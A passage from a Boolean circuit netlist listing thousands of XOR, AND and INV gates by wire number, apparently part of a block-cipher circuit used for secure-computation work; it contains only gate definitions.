27439 27382 27338 XOR +2 1 34356 27365 27447 XOR +2 1 27458 27447 27437 AND +2 1 27436 27437 27339 XOR +2 1 27339 27340 27386 XOR +2 1 27437 27365 27367 XOR +2 1 27363 27458 27450 XOR +2 1 27450 27454 27443 AND +2 1 34350 27450 27449 XOR +2 1 27443 27366 27369 XOR +2 1 27369 27367 27373 XOR +2 1 27451 27449 27442 AND +2 1 27436 27442 27387 XOR +2 1 27387 27379 27431 XOR +2 1 27373 27392 27341 XOR +2 1 34355 27341 27384 XOR +2 1 34357 27373 27378 XOR +2 1 27387 27378 27434 XOR +2 1 34351 27338 27426 XOR +2 1 34357 34351 27459 XOR +2 1 27459 27444 27440 AND +2 1 27440 27364 27368 XOR +2 1 27368 27388 27342 XOR +2 1 27386 27368 27385 XOR +2 1 27342 27367 27432 XOR +2 1 27439 27385 27433 XOR +2 1 27434 27433 27430 AND +2 1 27430 27384 27425 XOR +2 1 27425 27426 27424 AND +2 1 27424 27382 27337 XOR +2 1 27430 27432 27429 XOR +2 1 27431 27429 27428 AND +2 1 27428 27384 27427 XOR +2 1 27427 27446 27406 AND +2 1 27430 27424 27422 XOR +2 1 27432 27422 27421 AND +2 1 27424 27441 27336 XOR +2 1 27421 27439 27391 XOR +2 1 27391 27385 27413 XOR +2 1 27413 27454 27402 AND +2 1 34351 27391 27374 XOR +2 1 27374 27337 27420 XOR +2 1 27420 27451 27401 AND +2 1 27336 27438 27331 XOR +2 1 27428 27440 27333 XOR +2 1 27333 27369 27329 XOR +2 1 34355 27329 27328 XOR +2 1 34357 27329 27332 XOR +2 1 27331 27332 27415 XOR +2 1 27415 27447 27405 AND +2 1 27415 27458 27396 AND +2 1 27428 27378 27330 XOR +2 1 27413 27450 27411 AND +2 1 27424 27432 27423 XOR +2 1 27423 27455 27400 AND +2 1 27423 34350 27409 AND +2 1 27409 27411 27390 XOR +2 1 27420 27449 27410 AND +2 1 27421 27429 27419 XOR +2 1 27427 27419 27418 AND +2 1 27418 27387 27377 XOR +2 1 27377 27379 27417 XOR +2 1 27417 27456 27407 AND +2 1 27417 27452 27398 AND +2 1 27406 27398 27362 XOR +2 1 27406 27407 27344 XOR +2 1 27418 27442 27335 XOR +2 1 27374 27335 27327 XOR +2 1 27327 27328 27412 XOR +2 1 27364 27327 27334 XOR +2 1 27412 27460 27395 AND +2 1 27395 27396 27389 XOR +2 1 27401 27389 27371 XOR +2 1 27402 27371 27372 XOR +2 1 27410 27372 27376 XOR +2 1 27411 27376 27381 XOR +2 1 27409 27376 27345 XOR +2 1 27344 27345 36403 XOR +2 1 36410 36403 11411 XOR +2 1 11528 36403 11527 XOR +2 1 11526 11527 36273 XOR +2 1 36273 1276 34409 XOR +2 1 36399 36403 11689 XOR +2 1 11692 11689 36297 XOR +2 1 36297 1252 34433 XOR +2 1 27362 27389 27358 XOR +2 1 27390 27358 27361 XOR +1 1 11689 11571 INV +2 1 11571 11676 11569 XOR +2 1 27412 27445 27404 AND +2 1 27404 27407 27359 XOR +1 1 27359 27356 INV +2 1 27404 27405 27355 XOR +2 1 27381 27355 27462 XOR +2 1 32852 27462 11550 XOR +2 1 33077 27462 11476 XOR +2 1 11475 11476 11474 XOR +1 1 11474 36276 INV +2 1 36276 1273 34412 XOR +1 1 27462 36406 INV +2 1 32831 36406 11675 XOR +2 1 11675 26202 11551 XOR +2 1 11675 11672 11539 XOR +2 1 32852 11539 36300 XOR +2 1 36300 1249 34436 XOR +2 1 11675 11624 11566 XOR +2 1 36401 11566 36285 XOR +2 1 36285 1264 34421 XOR +2 1 27377 27330 27414 XOR +2 1 27414 27444 27408 AND +2 1 27414 27459 27399 AND +2 1 27408 27399 27360 XOR +2 1 27360 27361 27464 XOR +2 1 27407 27408 27393 XOR +2 1 27404 27393 27383 XOR +2 1 27405 27383 27343 XOR +2 1 27372 27343 36407 XOR +2 1 36407 36412 11626 XOR +2 1 36401 36407 11625 XOR +1 1 11626 11560 INV +2 1 11688 11626 11565 XOR +2 1 11669 11625 11538 XOR +2 1 11626 36415 11410 XOR +2 1 26202 36407 11456 XOR +2 1 36412 11538 36301 XOR +2 1 36301 1248 34437 XOR +2 1 11410 11411 11696 XOR +2 1 11560 36414 11559 XOR +2 1 11688 11625 11439 XOR +2 1 32853 11439 36278 XOR +2 1 36278 1271 34414 XOR +2 1 11455 11456 36277 XOR +2 1 27393 27381 36404 XOR +2 1 36400 36404 11680 XOR +2 1 11680 11679 11544 XOR +2 1 11680 11672 11568 XOR +1 1 11544 11542 INV +2 1 11696 11680 36290 XOR +2 1 36290 1259 34426 XOR +2 1 36414 36404 11374 XOR +2 1 11373 11374 11711 XOR +2 1 11711 11676 36274 XOR +2 1 36411 36404 11554 XOR +2 1 11542 11543 36298 XOR +2 1 36298 1251 34434 XOR +2 1 34434 34436 2061 XOR +2 1 34434 34437 2153 XOR +2 1 32838 11568 36283 XOR +2 1 36283 1266 34419 XOR +2 1 34419 34421 1779 XOR +2 1 36274 1275 34410 XOR +2 1 34410 34412 1627 XOR +1 1 27464 33110 INV +2 1 33110 11565 36286 XOR +2 1 36286 1263 34422 XOR +2 1 33110 32853 11665 XOR +2 1 11687 11665 11563 XOR +2 1 11665 11624 11548 XOR +2 1 32833 11548 36294 XOR +2 1 36294 1255 34430 XOR +2 1 34430 34436 2065 XOR +2 1 27400 27383 27349 XOR +1 1 27349 27346 INV +2 1 36277 1272 34413 XOR +2 1 34410 34413 1733 XOR +2 1 11665 11632 11617 XOR +2 1 33079 11617 36270 XOR +2 1 36270 1279 34406 XOR +2 1 34406 34412 1621 XOR +2 1 27427 27453 27397 AND +2 1 11625 36399 11414 XOR +2 1 11618 36468 11424 XOR +2 1 11424 11425 11690 XOR +2 1 34349 34343 10943 XOR +2 1 10943 10928 10924 AND +2 1 10924 10848 10852 XOR +2 1 10870 10852 10869 XOR +2 1 10852 10872 10826 XOR +2 1 10826 10851 10916 XOR +2 1 10923 10869 10917 XOR +2 1 10918 10917 10914 AND +2 1 10914 10916 10913 XOR +2 1 10914 10868 10909 XOR +2 1 10909 10910 10908 AND +2 1 10908 10866 10821 XOR +2 1 10915 10913 10912 AND +2 1 10912 10924 10817 XOR +2 1 10817 10853 10813 XOR +2 1 10908 10916 10907 XOR +2 1 10907 34342 10893 AND +2 1 10907 10939 10884 AND +2 1 10908 10925 10820 XOR +2 1 10820 10922 10815 XOR +2 1 34349 10813 10816 XOR +2 1 10815 10816 10899 XOR +2 1 10899 10942 10880 AND +2 1 10899 10931 10889 AND +2 1 10912 10862 10814 XOR +2 1 34347 10813 10812 XOR +2 1 10914 10908 10906 XOR +2 1 10916 10906 10905 AND +2 1 10905 10913 10903 XOR +2 1 10905 10923 10875 XOR +2 1 34343 10875 10858 XOR +2 1 10858 10821 10904 XOR +2 1 10904 10933 10894 AND +2 1 10904 10935 10885 AND +2 1 10875 10869 10897 XOR +2 1 10897 10934 10895 AND +2 1 10893 10895 10874 XOR +2 1 10897 10938 10886 AND +2 1 10912 10868 10911 XOR +2 1 10911 10930 10890 AND +2 1 10911 10937 10881 AND +2 1 10911 10903 10902 AND +2 1 10902 10926 10819 XOR +2 1 10858 10819 10811 XOR +2 1 10811 10812 10896 XOR +2 1 10896 10929 10888 AND +2 1 10896 10944 10879 AND +2 1 10888 10889 10839 XOR +2 1 10848 10811 10818 XOR +2 1 10902 10871 10861 XOR +2 1 10861 10814 10898 XOR +2 1 10898 10943 10883 AND +2 1 10898 10928 10892 AND +2 1 10892 10883 10844 XOR +2 1 10861 10863 10901 XOR +2 1 10901 10940 10891 AND +2 1 10890 10891 10828 XOR +2 1 10888 10891 10843 XOR +2 1 10901 10936 10882 AND +2 1 10890 10882 10846 XOR +2 1 10891 10892 10877 XOR +2 1 10888 10877 10867 XOR +2 1 10884 10867 10833 XOR +1 1 10833 10830 INV +1 1 10843 10840 INV +2 1 10879 10880 10873 XOR +2 1 10885 10873 10855 XOR +2 1 10886 10855 10856 XOR +2 1 10894 10856 10860 XOR +2 1 10893 10860 10829 XOR +2 1 10846 10873 10842 XOR +2 1 10874 10842 10845 XOR +2 1 10844 10845 10948 XOR +1 1 10948 32845 INV +2 1 32845 33060 11662 XOR +2 1 11662 11621 11500 XOR +2 1 11662 11655 11523 XOR +2 1 33071 11500 36326 XOR +2 1 36326 1223 34462 XOR +2 1 10895 10860 10865 XOR +2 1 10865 10839 10946 XOR +2 1 10877 10865 36420 XOR +2 1 36420 36425 11650 XOR +2 1 33058 36420 11534 XOR +2 1 11650 11637 11514 XOR +1 1 10946 32843 INV +2 1 32843 11486 36332 XOR +2 1 10889 10867 10827 XOR +2 1 10856 10827 36421 XOR +2 1 36421 36426 11622 XOR +2 1 11659 11622 11525 XOR +1 1 11622 11517 INV +2 1 11517 36420 11516 XOR +2 1 11639 11622 11501 XOR +2 1 36421 32843 11512 XOR +2 1 32845 11525 36310 XOR +2 1 36310 1239 34446 XOR +2 1 10815 10818 10900 XOR +2 1 10900 10932 10887 AND +2 1 10900 10941 10878 AND +2 1 10889 10878 10838 XOR +1 1 10838 10834 INV +2 1 10883 10887 10859 XOR +1 1 10859 10837 INV +2 1 10837 10881 10836 XOR +2 1 10836 10874 10832 XOR +2 1 10880 10832 10835 XOR +2 1 10834 10835 10945 XOR +2 1 10837 10842 10841 XOR +2 1 10840 10841 10947 XOR +2 1 10855 10832 10831 XOR +2 1 10830 10831 36418 XOR +2 1 36418 36423 11657 XOR +1 1 11657 11509 INV +2 1 11509 36431 11507 XOR +2 1 11507 11508 36320 XOR +2 1 36320 1229 34456 XOR +2 1 11380 36418 11379 XOR +2 1 11657 11655 11497 XOR +2 1 36427 11497 36328 XOR +2 1 36328 1221 34464 XOR +1 1 10947 32844 INV +2 1 36423 32844 11536 XOR +2 1 11535 11536 36304 XOR +2 1 36304 1245 34440 XOR +1 1 10945 32850 INV +2 1 32850 11514 36315 XOR +2 1 32850 33058 11646 XOR +2 1 36315 1234 34451 XOR +2 1 11646 32846 11506 XOR +1 1 11506 11504 INV +2 1 11504 11505 36323 XOR +2 1 36323 1226 34459 XOR +2 1 32846 32850 11532 XOR +2 1 32844 36422 11661 XOR +2 1 11661 11659 11498 XOR +2 1 11705 11661 36319 XOR +2 1 11661 11652 11521 XOR +2 1 36418 11521 36312 XOR +2 1 36319 1230 34455 XOR +2 1 34455 34456 2495 XOR +2 1 11498 11499 36327 XOR +2 1 36327 1222 34463 XOR +2 1 34463 34464 2636 XOR +2 1 36312 1237 34448 XOR +2 1 25223 32845 11376 XOR +2 1 36421 36434 11631 XOR +1 1 11631 11377 INV +2 1 11377 36431 11378 XOR +2 1 11378 11379 11709 XOR +2 1 11659 11631 11537 XOR +2 1 33060 11537 36302 XOR +2 1 36302 1247 34438 XOR +2 1 11377 32841 11375 XOR +2 1 11375 11376 11710 XOR +2 1 11710 11655 36303 XOR +2 1 36303 1246 34439 XOR +2 1 34439 34440 2216 XOR +1 1 11650 11491 INV +2 1 11662 11629 11510 XOR +2 1 32841 11510 36318 XOR +2 1 36318 1231 34454 XOR +2 1 10828 10829 36419 XOR +2 1 11517 36419 11520 XOR +2 1 36419 36424 11654 XOR +2 1 36425 36419 11382 XOR +2 1 11654 11652 11495 XOR +2 1 11495 11496 36329 XOR +2 1 36329 1220 34465 XOR +2 1 34463 34465 2618 XOR +2 1 34464 2618 2620 XOR +2 1 34465 34464 2595 XOR +2 1 11517 32844 11524 XOR +2 1 11523 11524 11522 XOR +1 1 11522 36311 INV +2 1 36311 1238 34447 XOR +2 1 34447 34448 2356 XOR +2 1 11511 11512 36317 XOR +2 1 36317 1232 34453 XOR +2 1 34453 34447 2434 XOR +2 1 34453 34448 2432 XOR +2 1 34451 34453 2339 XOR +1 1 11654 11518 INV +2 1 10625 10643 10595 XOR +2 1 34327 10595 10578 XOR +2 1 10578 10541 10624 XOR +2 1 10624 10653 10614 AND +2 1 10624 10655 10605 AND +2 1 10578 10539 10531 XOR +2 1 10531 10532 10616 XOR +2 1 10616 10664 10599 AND +2 1 10599 10600 10593 XOR +2 1 10605 10593 10575 XOR +2 1 10566 10593 10562 XOR +2 1 10568 10531 10538 XOR +2 1 10535 10538 10620 XOR +2 1 10620 10652 10607 AND +2 1 10603 10607 10579 XOR +1 1 10579 10557 INV +2 1 10557 10562 10561 XOR +2 1 10557 10601 10556 XOR +2 1 10616 10649 10608 AND +2 1 10608 10609 10559 XOR +2 1 10608 10611 10563 XOR +1 1 10563 10560 INV +2 1 10608 10597 10587 XOR +2 1 10604 10587 10553 XOR +1 1 10553 10550 INV +2 1 10609 10587 10547 XOR +2 1 10560 10561 10667 XOR +1 1 10667 32836 INV +2 1 32836 25363 11452 XOR +2 1 11451 11452 36352 XOR +2 1 36352 1197 34488 XOR +2 1 32836 33074 11674 XOR +2 1 11678 11674 11438 XOR +2 1 11702 11674 36335 XOR +2 1 11686 11674 11466 XOR +2 1 11466 11467 11465 XOR +1 1 11465 36343 INV +2 1 36343 1206 34479 XOR +2 1 36335 1214 34471 XOR +2 1 10620 10661 10598 AND +2 1 10609 10598 10558 XOR +1 1 10558 10554 INV +2 1 10595 10589 10617 XOR +2 1 10617 10654 10615 AND +2 1 10613 10615 10594 XOR +2 1 10556 10594 10552 XOR +2 1 10575 10552 10551 XOR +2 1 10594 10562 10565 XOR +2 1 10617 10658 10606 AND +2 1 10606 10575 10576 XOR +2 1 10614 10576 10580 XOR +2 1 10576 10547 36449 XOR +2 1 36445 36449 11627 XOR +2 1 36449 36453 11620 XOR +2 1 11620 33073 11469 XOR +2 1 11469 11470 36341 XOR +2 1 36341 1208 34477 XOR +2 1 11627 33074 11402 XOR +2 1 11686 11627 11454 XOR +2 1 33075 11454 36350 XOR +2 1 11686 11620 11443 XOR +2 1 11649 11620 11457 XOR +2 1 34477 34471 32633 XOR +1 1 11627 11407 INV +2 1 11407 36451 11404 XOR +2 1 11407 36452 11408 XOR +2 1 10615 10580 10585 XOR +2 1 10585 10559 10666 XOR +1 1 10666 32835 INV +2 1 32835 25362 11445 XOR +2 1 11444 11445 36357 XOR +2 1 32835 33073 11634 XOR +2 1 11634 11623 11429 XOR +2 1 11634 33080 11472 XOR +2 1 11472 11473 11471 XOR +2 1 36449 11429 36365 XOR +1 1 11471 36340 INV +2 1 36340 1209 34476 XOR +2 1 36357 1192 34493 XOR +2 1 34493 34488 2991 XOR +2 1 10600 10552 10555 XOR +2 1 10554 10555 10665 XOR +1 1 10665 32842 INV +2 1 32842 33080 11645 XOR +2 1 11649 11645 11430 XOR +2 1 11645 36452 11479 XOR +2 1 11663 11645 11459 XOR +1 1 11479 11477 INV +2 1 32842 25361 11447 XOR +2 1 11477 11478 36339 XOR +2 1 36339 1210 34475 XOR +2 1 34475 34477 32539 XOR +2 1 11446 11447 36356 XOR +2 1 36356 1193 34492 XOR +2 1 33072 11459 36347 XOR +2 1 10550 10551 36446 XOR +2 1 36446 11406 11405 XOR +2 1 36446 11438 36360 XOR +2 1 36360 1189 34496 XOR +2 1 36446 36450 11670 XOR +2 1 11685 11670 11464 XOR +2 1 36435 11464 36344 XOR +2 1 36344 1205 34480 XOR +2 1 34479 34480 2775 XOR +1 1 11670 11482 INV +2 1 11482 33074 11480 XOR +2 1 11480 11481 36336 XOR +2 1 36336 1213 34472 XOR +2 1 34471 34472 32555 XOR +2 1 34477 34472 32631 XOR +2 1 36350 1199 34486 XOR +2 1 34486 34492 2904 XOR +2 1 10597 10585 36448 XOR +2 1 36448 36452 11651 XOR +2 1 11700 11651 36338 XOR +2 1 11656 11651 11431 XOR +2 1 36338 1211 34474 XOR +2 1 11437 11651 11460 XOR +2 1 11460 11461 36346 XOR +2 1 32842 11431 36363 XOR +2 1 36448 36442 11450 XOR +2 1 11449 11450 36355 XOR +2 1 36355 1194 34491 XOR +2 1 34491 34493 2898 XOR +2 1 34491 2904 2990 XOR +2 1 2898 2904 2987 XOR +2 1 36346 1203 34482 XOR +2 1 34474 34476 32541 XOR +2 1 34474 34477 32632 XOR +2 1 32632 32555 32628 XOR +2 1 34472 34474 32634 XOR +2 1 32539 32634 32619 XOR +2 1 32541 32539 32501 XOR +2 1 32541 34475 32500 XOR +2 1 32634 32619 32610 AND +2 1 11437 11670 11435 XOR +2 1 36365 1184 34501 XOR +2 1 34501 34496 3131 XOR +2 1 11404 11405 11698 XOR +2 1 11698 11671 36353 XOR +2 1 36353 1196 34489 XOR +2 1 34489 34488 2874 XOR +2 1 36363 1186 34499 XOR +2 1 34499 34501 3038 XOR +2 1 36347 1202 34483 XOR +2 1 32835 11430 36364 XOR +2 1 36364 1185 34500 XOR +2 1 11656 11634 11458 XOR +2 1 33065 11458 36348 XOR +2 1 36348 1201 34484 XOR +2 1 34482 34484 2761 XOR +2 1 2761 34483 2720 XOR +2 1 34480 34482 2854 XOR +2 1 10564 10565 10668 XOR +1 1 10668 32837 INV +2 1 32837 33075 11682 XOR +2 1 11682 11628 11483 XOR +2 1 33057 11483 36334 XOR +2 1 36334 1215 34470 XOR +2 1 11685 11682 11442 XOR +1 1 11442 11440 INV +2 1 11682 11623 11468 XOR +2 1 33067 11468 36342 XOR +2 1 36342 1207 34478 XOR +2 1 34478 34484 2765 XOR +2 1 32837 33057 11403 XOR +2 1 32837 11443 36358 XOR +2 1 36358 1191 34494 XOR +2 1 11402 11403 11699 XOR +2 1 11699 11685 36351 XOR +2 1 34470 34476 32545 XOR +2 1 32539 32545 32627 XOR +2 1 32555 32627 32625 XOR +2 1 34475 32545 32630 XOR +2 1 34471 32630 32626 XOR +2 1 34470 32500 32629 XOR +2 1 32629 34470 32615 AND +2 1 32630 32626 32613 AND +2 1 34478 2720 2849 XOR +2 1 2849 34478 2835 AND +2 1 36351 1198 34487 XOR +2 1 34493 34487 2993 XOR +2 1 34487 34488 2915 XOR +2 1 34487 34489 2897 XOR +2 1 34488 2897 2899 XOR +2 1 34491 2899 2978 XOR +2 1 34487 2990 2986 XOR +2 1 2990 2986 2973 AND +2 1 2993 2978 2974 AND +2 1 2974 2898 2902 XOR +2 1 2915 2987 2985 XOR +2 1 34483 2765 2850 XOR +2 1 34479 2850 2846 XOR +2 1 2850 2846 2833 AND +2 1 34492 2899 2981 XOR +2 1 2904 2899 2980 XOR +2 1 2987 2980 2972 AND +2 1 34494 34500 3044 XOR +2 1 3038 3044 3127 XOR +2 1 34499 3044 3130 XOR +2 1 10613 10580 10549 XOR +2 1 10548 10549 36447 XOR +2 1 36447 11399 11409 XOR +2 1 11408 11409 11697 XOR +2 1 36447 36451 11660 XOR +2 1 11453 11660 11462 XOR +2 1 11462 11463 36345 XOR +2 1 36345 1204 34481 XOR +2 1 34479 34481 2758 XOR +2 1 34481 34480 2735 XOR +2 1 11701 11660 36337 XOR +2 1 36337 1212 34473 XOR +2 1 34471 34473 32538 XOR +2 1 34472 32538 32540 XOR +2 1 34476 32540 32621 XOR +2 1 34475 32540 32618 XOR +2 1 32545 32540 32620 XOR +2 1 32538 32632 32624 XOR +2 1 34470 32624 32623 XOR +2 1 34473 34472 32515 XOR +2 1 32538 32501 32622 XOR +2 1 32624 32628 32617 AND +2 1 32617 32541 32544 XOR +2 1 32625 32623 32616 AND +2 1 32610 32616 32562 XOR +2 1 32633 32618 32614 AND +2 1 32614 32539 32543 XOR +2 1 32627 32620 32612 AND +2 1 32632 32621 32611 AND +2 1 32611 32540 32542 XOR +2 1 32544 32542 32548 XOR +2 1 34477 32548 32553 XOR +2 1 32562 32553 32608 XOR +2 1 32610 32611 32514 XOR +2 1 32514 32515 32561 XOR +2 1 32561 32543 32560 XOR +2 1 32613 32560 32607 XOR +2 1 32631 32622 32609 AND +2 1 32609 32612 32563 XOR +2 1 32609 32615 32567 XOR +2 1 32567 32539 32554 XOR +2 1 32562 32554 32605 XOR +2 1 32610 32563 32557 XOR +2 1 32543 32563 32517 XOR +2 1 32517 32542 32606 XOR +2 1 32548 32567 32516 XOR +2 1 34475 32516 32559 XOR +2 1 32613 32557 32513 XOR +2 1 34471 32513 32600 XOR +2 1 32608 32607 32604 AND +2 1 32604 32559 32599 XOR +2 1 32604 32606 32603 XOR +2 1 32603 32605 32602 AND +2 1 32602 32559 32601 XOR +2 1 32602 32614 32508 XOR +2 1 32508 32544 32504 XOR +2 1 34477 32504 32507 XOR +2 1 32602 32553 32505 XOR +2 1 34475 32504 32503 XOR +2 1 32599 32600 32598 AND +2 1 32598 32606 32597 XOR +2 1 32604 32598 32596 XOR +2 1 32598 32557 32512 XOR +2 1 32598 32615 32511 XOR +2 1 32511 32612 32506 XOR +2 1 32506 32507 32589 XOR +2 1 32606 32596 32595 AND +2 1 32595 32603 32593 XOR +2 1 32595 32613 32566 XOR +2 1 32566 32560 32587 XOR +2 1 34471 32566 32549 XOR +2 1 32549 32512 32594 XOR +2 1 32601 32593 32592 AND +2 1 32592 32562 32552 XOR +2 1 32552 32554 32591 XOR +2 1 32592 32616 32510 XOR +2 1 32549 32510 32502 XOR +2 1 32539 32502 32509 XOR +2 1 32506 32509 32590 XOR +2 1 32552 32505 32588 XOR +2 1 32502 32503 32586 XOR +2 1 32587 32624 32585 AND +2 1 32594 32623 32584 AND +2 1 32597 34470 32583 AND +2 1 32583 32585 32565 XOR +2 1 32588 32618 32582 AND +2 1 32591 32630 32581 AND +2 1 32601 32620 32580 AND +2 1 32580 32581 32519 XOR +2 1 32589 32621 32579 AND +2 1 32586 32619 32578 AND +2 1 32578 32581 32534 XOR +1 1 32534 32531 INV +2 1 32578 32579 32530 XOR +2 1 32590 32622 32577 AND +2 1 32587 32628 32576 AND +2 1 32594 32625 32575 AND +2 1 32597 32629 32574 AND +2 1 32588 32633 32573 AND +2 1 32573 32577 32550 XOR +2 1 32582 32573 32535 XOR +1 1 32550 32528 INV +2 1 32591 32626 32572 AND +2 1 32580 32572 32537 XOR +2 1 32601 32627 32571 AND +2 1 32528 32571 32527 XOR +2 1 32527 32565 32523 XOR +2 1 32589 32632 32570 AND +2 1 32570 32523 32526 XOR +2 1 32586 32634 32569 AND +2 1 32569 32570 32564 XOR +2 1 32575 32564 32546 XOR +2 1 32576 32546 32547 XOR +2 1 32584 32547 32551 XOR +2 1 32585 32551 32556 XOR +2 1 32537 32564 32533 XOR +2 1 32565 32533 32536 XOR +2 1 32535 32536 32638 XOR +2 1 32528 32533 32532 XOR +2 1 32531 32532 32637 XOR +2 1 32556 32530 32636 XOR +2 1 32546 32523 32522 XOR +2 1 32583 32551 32520 XOR +2 1 32519 32520 34601 XOR +2 1 34601 1116 36826 XOR +2 1 32590 32631 32568 AND +2 1 32579 32568 32529 XOR +1 1 32529 32525 INV +2 1 32525 32526 32635 XOR +1 1 32638 34598 INV +2 1 34598 1119 36823 XOR +1 1 32637 34599 INV +2 1 34599 1118 36824 XOR +1 1 32636 34604 INV +2 1 34604 1113 36829 XOR +1 1 32635 34603 INV +2 1 11434 11660 11432 XOR +2 1 32581 32582 32731 XOR +2 1 32578 32731 32558 XOR +2 1 32579 32558 32518 XOR +2 1 32574 32558 32524 XOR +1 1 32524 32521 INV +2 1 32521 32522 34600 XOR +2 1 32547 32518 34605 XOR +2 1 34605 1112 36830 XOR +2 1 32731 32556 34602 XOR +2 1 34602 1115 36827 XOR +2 1 34600 1117 36825 XOR +2 1 11697 11663 36354 XOR +2 1 36354 1195 34490 XOR +2 1 34490 34493 2992 XOR +2 1 2897 2992 2984 XOR +2 1 34486 2984 2983 XOR +2 1 2985 2983 2976 AND +2 1 2992 2915 2988 XOR +2 1 2984 2988 2977 AND +2 1 34490 34492 2900 XOR +2 1 2900 2898 2860 XOR +2 1 2897 2860 2982 XOR +2 1 2900 34491 2859 XOR +2 1 34486 2859 2989 XOR +2 1 2989 34486 2975 AND +2 1 34488 34490 2994 XOR +2 1 2898 2994 2979 XOR +2 1 2977 2900 2903 XOR +2 1 2991 2982 2969 AND +2 1 2969 2972 2923 XOR +2 1 2902 2923 2876 XOR +2 1 34603 1114 36828 XOR +2 1 2969 2975 2927 XOR +2 1 2927 2898 2914 XOR +2 1 34480 2758 2760 XOR +2 1 34483 2760 2838 XOR +2 1 2765 2760 2840 XOR +2 1 34484 2760 2841 XOR +2 1 2992 2981 2971 AND +2 1 2971 2899 2901 XOR +2 1 2876 2901 2966 XOR +2 1 2903 2901 2907 XOR +2 1 34493 2907 2913 XOR +2 1 2907 2927 2875 XOR +2 1 34491 2875 2919 XOR +2 1 2994 2979 2970 AND +2 1 2970 2971 2873 XOR +2 1 2970 2923 2917 XOR +2 1 2973 2917 2872 XOR +2 1 2873 2874 2921 XOR +2 1 2970 2976 2922 XOR +2 1 2922 2913 2968 XOR +2 1 34487 2872 2960 XOR +2 1 2922 2914 2965 XOR +2 1 2921 2902 2920 XOR +2 1 2973 2920 2967 XOR +2 1 2968 2967 2964 AND +2 1 2964 2966 2963 XOR +2 1 2965 2963 2962 AND +2 1 2962 2913 2864 XOR +2 1 2962 2974 2867 XOR +2 1 2867 2903 2863 XOR +2 1 2964 2919 2959 XOR +2 1 2959 2960 2958 AND +2 1 2964 2958 2956 XOR +2 1 2966 2956 2955 AND +2 1 2958 2966 2957 XOR +2 1 2955 2973 2926 XOR +2 1 2958 2975 2870 XOR +2 1 2955 2963 2953 XOR +2 1 2958 2917 2871 XOR +2 1 2957 34486 2943 AND +2 1 34491 2863 2862 XOR +2 1 2870 2972 2865 XOR +2 1 2926 2920 2947 XOR +2 1 2947 2984 2945 AND +2 1 2947 2988 2936 AND +2 1 34487 2926 2908 XOR +2 1 2908 2871 2954 XOR +2 1 2954 2985 2935 AND +2 1 2954 2983 2944 AND +2 1 2957 2989 2934 AND +2 1 2943 2945 2925 XOR +2 1 2962 2919 2961 XOR +2 1 2961 2980 2940 AND +2 1 2961 2987 2931 AND +2 1 2961 2953 2952 AND +2 1 2952 2922 2912 XOR +2 1 2912 2864 2948 XOR +2 1 2948 2978 2942 AND +2 1 2948 2993 2933 AND +2 1 2942 2933 2894 XOR +2 1 2952 2976 2869 XOR +2 1 2908 2869 2861 XOR +2 1 2861 2862 2946 XOR +2 1 2946 2994 2929 AND +2 1 2898 2861 2868 XOR +2 1 2946 2979 2938 AND +2 1 2865 2868 2950 XOR +2 1 2950 2982 2937 AND +2 1 2950 2991 2928 AND +2 1 2933 2937 2909 XOR +1 1 2909 2887 INV +2 1 2887 2931 2886 XOR +2 1 2886 2925 2882 XOR +2 1 2912 2914 2951 XOR +2 1 2951 2986 2932 AND +2 1 2940 2932 2896 XOR +2 1 2951 2990 2941 AND +2 1 2938 2941 2893 XOR +1 1 2893 2890 INV +2 1 2940 2941 2878 XOR +2 1 2941 2942 2910 XOR +2 1 2938 2910 2918 XOR +2 1 2934 2918 2883 XOR +1 1 2883 2880 INV +2 1 34493 2863 2866 XOR +2 1 2865 2866 2949 XOR +2 1 2949 2981 2939 AND +2 1 2939 2928 2888 XOR +1 1 2888 2884 INV +2 1 2938 2939 2889 XOR +2 1 2939 2918 2877 XOR +2 1 2949 2992 2930 AND +2 1 2929 2930 2924 XOR +2 1 2935 2924 2905 XOR +2 1 2936 2905 2906 XOR +2 1 2930 2882 2885 XOR +2 1 2905 2882 2881 XOR +2 1 2880 2881 34616 XOR +2 1 34616 1037 36905 XOR +2 1 2896 2924 2892 XOR +2 1 2925 2892 2895 XOR +2 1 2884 2885 2995 XOR +1 1 2995 34619 INV +2 1 34619 1034 36908 XOR +2 1 2944 2906 2911 XOR +2 1 2945 2911 2916 XOR +2 1 2910 2916 34618 XOR +2 1 2943 2911 2879 XOR +2 1 2878 2879 34617 XOR +2 1 34617 1036 36906 XOR +2 1 2916 2889 2996 XOR +1 1 2996 34620 INV +2 1 34620 1033 36909 XOR +2 1 2887 2892 2891 XOR +2 1 2890 2891 2997 XOR +1 1 2997 34615 INV +2 1 34615 1038 36904 XOR +2 1 2894 2895 2998 XOR +1 1 2998 34614 INV +2 1 34614 1039 36903 XOR +2 1 34618 1035 36907 XOR +2 1 2906 2877 34621 XOR +2 1 34621 1032 36910 XOR +2 1 27331 27334 27416 XOR +2 1 27416 27448 27403 AND +2 1 27416 27457 27394 AND +2 1 27399 27403 27375 XOR +1 1 27375 27353 INV +2 1 27353 27397 27352 XOR +2 1 27352 27390 27348 XOR +2 1 27396 27348 27351 XOR +2 1 27371 27348 27347 XOR +2 1 27405 27394 27354 XOR +2 1 27353 27358 27357 XOR +2 1 27356 27357 27463 XOR +1 1 27354 27350 INV +2 1 27350 27351 27461 XOR +1 1 27461 36405 INV +2 1 32838 36405 11677 XOR +2 1 32851 27461 11552 XOR +2 1 36415 27461 11493 XOR +2 1 11492 11493 36275 XOR +2 1 11551 11552 36292 XOR +2 1 36292 1257 34428 XOR +2 1 34422 34428 1925 XOR +2 1 34426 34428 1921 XOR +2 1 11677 11676 11541 XOR +2 1 32851 11541 36299 XOR +1 1 27463 33109 INV +2 1 11560 33109 11564 XOR +2 1 33109 36408 11666 XOR +2 1 11693 11666 36295 XOR +2 1 11688 11666 11556 XOR +2 1 11667 11666 11561 XOR +2 1 11556 11557 11555 XOR +1 1 11555 36271 INV +2 1 36271 1278 34407 XOR +2 1 34407 34409 1630 XOR +2 1 1630 1733 1725 XOR +2 1 34406 1725 1724 XOR +2 1 34413 34407 1734 XOR +2 1 11563 11564 11562 XOR +1 1 11562 36287 INV +2 1 36287 1262 34423 XOR +2 1 36295 1254 34431 XOR +2 1 34437 34431 2154 XOR +2 1 34431 34433 2058 XOR +2 1 2058 2153 2145 XOR +2 1 34430 2145 2144 XOR +2 1 11529 33109 11598 XOR +2 1 11598 11599 36280 XOR +2 1 36280 1269 34416 XOR +2 1 34421 34416 1872 XOR +2 1 36275 1274 34411 XOR +2 1 34411 1621 1731 XOR +2 1 34407 1731 1727 XOR +2 1 34411 34413 1629 XOR +2 1 1629 1621 1728 XOR +2 1 1627 34411 1668 